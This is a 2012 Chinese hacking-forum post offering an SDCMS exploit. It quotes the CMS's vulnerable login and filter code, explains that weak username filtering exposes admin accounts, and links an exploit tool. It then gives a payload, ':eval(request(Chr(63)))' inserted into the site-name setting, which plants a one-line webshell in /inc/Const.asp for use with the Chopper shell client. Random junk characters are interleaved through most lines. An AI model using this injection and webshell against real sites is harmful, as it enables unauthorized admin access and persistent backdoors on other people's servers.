找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3381|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
7 O7 P$ m2 H! K/ |9 C漏洞文件:后台目录/index.asp
9 u" ~1 z, v6 M
# Q5 u/ @4 P. b/ {# NSub Check
% I2 u0 s" P: E6 o% ~+ L2 a3 \% I    Dim username,password,code,getcode,Rs( p4 @6 M, c& t
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
8 a3 i$ a+ v: Y/ b& y' |! i2 O    username=FilterText(Trim(Request.Form("username")),1)
! ^4 u) S) Y3 v# b! s% N. B    password=FilterText(Trim(Request.Form("password")),1)3 F+ N8 t7 A2 J! e8 E
    code=Trim(Request.Form("yzm"))' K' F& O' |5 b' }0 e
    getcode=Session("SDCMSCode")& _; b. U6 b" p4 {2 }7 f1 `
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died) A- |0 z8 [2 O# S
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
' J0 j% i% R4 ?3 ], ?    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
. s' {8 f! x3 u- C) z5 z    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied  Q+ U9 C6 H1 k3 n! D) s& ?
    IF username="" or password="" Then
; [8 S3 ^6 C# x. c1 c+ {        Echo "用户名或密码不能为空"ied
0 [& C5 ?. k" I  A    Else2 z2 l5 R- ]. l3 |6 [
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
; h5 g" q- |$ @/ @! |. t        IF Rs.Eof Then
) c! b. E: V, X1 X0 n$ {  f+ W            AddLog username,GetIp,"登录失败",13 s* K* ^4 E. o
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"6 R( B6 \7 @4 ~2 d- `2 z& x
        Else
% u+ J; z4 F; s* @/ z% O2 a5 I0 j            Add_Cookies "sdcms_id",Rs(0)! B( ]) Z6 k  F5 m
            Add_Cookies "sdcms_name",username
8 C: r& y* z/ v            Add_Cookies "sdcms_pwd",Rs(2)
- C4 A; l. k6 Y  ]( B            Add_Cookies "sdcms_admin",Rs(3): D  v$ a! F8 R
            Add_Cookies "sdcms_alllever",Rs(4)# }9 m2 r% ^( a6 s
            Add_Cookies "sdcms_infolever",Rs(5)  I) k. {* q1 ]
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")( X( D, Z" ?& t. K% Z  y8 C" X; O
            AddLog username,GetIp,"登录成功",1+ A  c7 W; q3 U. t5 k2 M
            '自动删除30天前的Log记录* D% \: F* b8 ^+ M: O
            IF Sdcms_DataType Then& g4 r' J) T/ _: P* Q; |
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")0 W8 x7 j) ~/ p  I% n  N0 t
            Else
/ d7 j: b% w9 T1 k                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")+ B& t% \# K6 F4 m: z# ?4 A0 N
            End IF
; [7 b9 M! I( P# Y, y            Go("sdcms_index.asp")- b) X1 V! u2 b( U
        End IF0 t0 u. N* J# I' N! z8 E8 |1 I9 f, Q
        Rs.Close. R  C5 r. F* I
        Set Rs=Nothing' S- p: z! A3 Y+ y- t5 z
    End IF! ^( @0 M2 t& |" D3 Z0 L7 o
End Sub
) @* F: R6 S- G( m+ s  f* j( D* {9 I6 Z
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码2 b, B1 O, T! y% X; r8 R

6 k2 g6 t% y& W& M% e$ D- e/ y. ^& HFunction FilterText(ByVal t0,ByVal t1); f9 B# w5 n& ~
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function" k: c+ o5 x/ o$ p  l6 |
    t0=Trim(t0)% T5 D0 U! D) @
    Select Case t1
2 X" I% H1 m" r( _# y        Case "1"
1 g# ^5 c* h, L% u            t0=Replace(t0,Chr(32),"")
6 f) D7 ^7 Y- S, {# R- z/ o8 ~& F            t0=Replace(t0,Chr(13),"")! C( b8 w( p6 C# k
            t0=Replace(t0,Chr(10)&Chr(10),"")
# ^3 z$ v, r! A! h$ e            t0=Replace(t0,Chr(10),"")+ G- v* }* ]" H! N8 h. G
        Case "2"
' A5 f, ^' v1 Y$ b            t0=Replace(t0,Chr(8),"")'回格# H1 h2 Y/ N+ g( g* l  a8 c
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)' P" H& J# {" S  c
            t0=Replace(t0,Chr(10),"")'换行
  l+ Q  \) V, V' H# T            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
, V& n8 E2 l& c" I! [9 I& B" j6 L" X8 j            t0=Replace(t0,Chr(12),"")'换页
, z+ q2 F% H( R) Z: E- @# `            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
* x! E) B% k' V0 X) ?            t0=Replace(t0,Chr(22),"")
* X5 j$ Y: l; [7 N& v            t0=Replace(t0,Chr(32),"")'空格 SPACE
' }# e; a5 o* I/ Q3 o3 f  l% m            t0=Replace(t0,Chr(33),"")'!
; U9 |* j. A4 @  q' V+ Y8 Q            t0=Replace(t0,Chr(34),"")'"0 `6 I8 h' i( o) f" |
            t0=Replace(t0,Chr(35),"")'#
1 p; W  F+ w. m1 d; N            t0=Replace(t0,Chr(36),"")'$+ |8 B4 A$ @+ X* R* t7 ^) p- l
            t0=Replace(t0,Chr(37),"")'%) A- u( K/ Z0 }. W! H
            t0=Replace(t0,Chr(38),"")'&
8 F6 \- u4 g% b1 a5 O* C. n! o            t0=Replace(t0,Chr(39),"")''0 U# I% d$ r$ z8 L. Z5 I! I
            t0=Replace(t0,Chr(40),"")'(
! e) x1 M( _6 y4 R) X% }            t0=Replace(t0,Chr(41),"")'), [6 Z: M9 o9 A4 u8 t# a
            t0=Replace(t0,Chr(42),"")'*/ Q  N9 [" M) B& p
            t0=Replace(t0,Chr(43),"")'+# k# I* }1 w6 Y' `6 f  n1 P
            t0=Replace(t0,Chr(44),"")',
! r3 O; N1 U6 p+ m. o9 [            t0=Replace(t0,Chr(45),"")'-
7 T/ I" I. U  X9 D3 P            t0=Replace(t0,Chr(46),"")'.! G) a( R' u& F, h# L
            t0=Replace(t0,Chr(47),"")'/  Y. J) k' z. j8 p& W
            t0=Replace(t0,Chr(58),"")':; i& g- ]9 M% Q& D3 \
            t0=Replace(t0,Chr(59),"")';( x; }$ E; ~* V  d; G
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>) N7 L* l' K, G/ w; ~
            t0=Replace(t0,Chr(63),"")'?8 u5 X+ m( ]5 I# z) J
            t0=Replace(t0,Chr(64),"")'@
; U: l/ Z7 @( \            t0=Replace(t0,Chr(91),"")'\( t& v. }1 Z9 _9 f* q
            t0=Replace(t0,Chr(92),"")'\  h0 q3 c% Y, P, z
            t0=Replace(t0,Chr(93),"")']( D+ p1 a( Y8 e% c, b9 L; H& X
            t0=Replace(t0,Chr(94),"")'^
! n+ w. T4 D1 v            t0=Replace(t0,Chr(95),"")'_! v$ I- ~( s% z$ l; B! h6 w: ]
            t0=Replace(t0,Chr(96),"")'`
( s, c" @9 c2 c2 L9 Y; A  v            t0=Replace(t0,Chr(123),"")'{. H. B$ l1 m0 @, i5 j" l8 g
            t0=Replace(t0,Chr(124),"")'|
# s: W$ l' q, `: Z            t0=Replace(t0,Chr(125),"")'}+ T  o3 }- C4 N7 S9 j# F! E
            t0=Replace(t0,Chr(126),"")'~
( i* a, S5 f8 @6 b( }; P; t    Case Else2 w4 d0 q2 T% u0 I6 ?8 Y
        t0=Replace(t0, "&", "&")
6 ~2 j5 U' K" ]+ t3 n8 N        t0=Replace(t0, "'", "'")2 r( d- v5 @- s; D2 n
        t0=Replace(t0, """", """)" K( W, P) \2 X
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
/ U7 A$ [6 g# @& l2 U! y0 B    End Select
, K% Q. m6 m: }  ?+ M: \+ b    IF Instr(Lcase(t0),"expression")>0 Then! k$ M) ]+ [9 E7 X& h
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
; f% r2 U# z, x3 L0 Q    End If
% e6 l  `/ w" c. E! [+ y7 a6 v    FilterText=t00 X. J  ?$ [& e% |
End Function1 Z8 P. V6 Y" g2 f& D

6 D0 J* e3 O- Z- Y3 p. X看到没。直接参数是1 只过滤$ }/ o! l1 D; a$ \. g
                        t0=Replace(t0,Chr(32)," ")0 M2 k' ~0 B; x3 Q+ C4 g* i
                        t0=Replace(t0,Chr(13),"")
7 c" O/ \2 ]$ [" K' H                        t0=Replace(t0,Chr(10)&Chr(10),"7 t% [. m! r5 M) |
")
* ?# E6 C8 ^4 ~                        t0=Replace(t0,Chr(10),"
- `( I7 A  n) @+ m$ D1 U")
5 o8 p: M4 i# m漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!2 t4 y* b6 t  {, i4 L5 D' V. i
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
$ A, ?2 [* T( y
* N& B( M1 o) g, m; l% e7 M测试:
; L$ K- e$ O4 e5 o$ T8 F! T1 V7 b8 j. U6 V, d2 W
7 m: \% `4 _- C; m0 Q
现在输入工具上验证码,然后点OK0 h: z3 x+ D* e; w
, I3 J# A7 X) G5 w3 S" [
3 ~3 C$ p2 [( b( X! @
看到我们直接进入后台管理界面了,呵呵!
0 z8 l+ U4 s$ E5 C2 l8 F( S2 \' \% x) ?: i/ |; {, \5 Z
7 \$ C& S7 ]+ F* E! I! h  a/ w

0 e# g4 w! d3 |, z' D这样直接进入后台了。。。。
- Z5 [! S: P( l* M" }( {* Z$ Z: ^: d& l) O4 Q
8 q8 p) ?- y; ^$ c, Y* ?# d3 g
; u; p# c' R$ `7 F9 I7 f
SDCMS提权:4 E9 t. ~: S  F9 ?2 c. ?) [1 h9 c
6 |! H/ _6 A( a' n6 t7 ^
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
! \+ `+ l& c& `1 X) T
# A8 L: a7 a$ V8 ^1 R
# a, F2 q, C$ A$ Y- m* d( E) {- x( h  S* w( R# m* \* U8 J# x. o/ y5 N" h
OK,现在用菜刀连接下!. c' _8 h3 {& H* q' _

$ X( Z# g; S! j% M5 `, ~; H: |5 R# u% ?

: f6 u, r9 i3 B# U* b- Z 5 Z% I. q) H: U! Y4 _9 B$ z5 p6 |$ \

: o9 {0 S3 q2 E2 x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表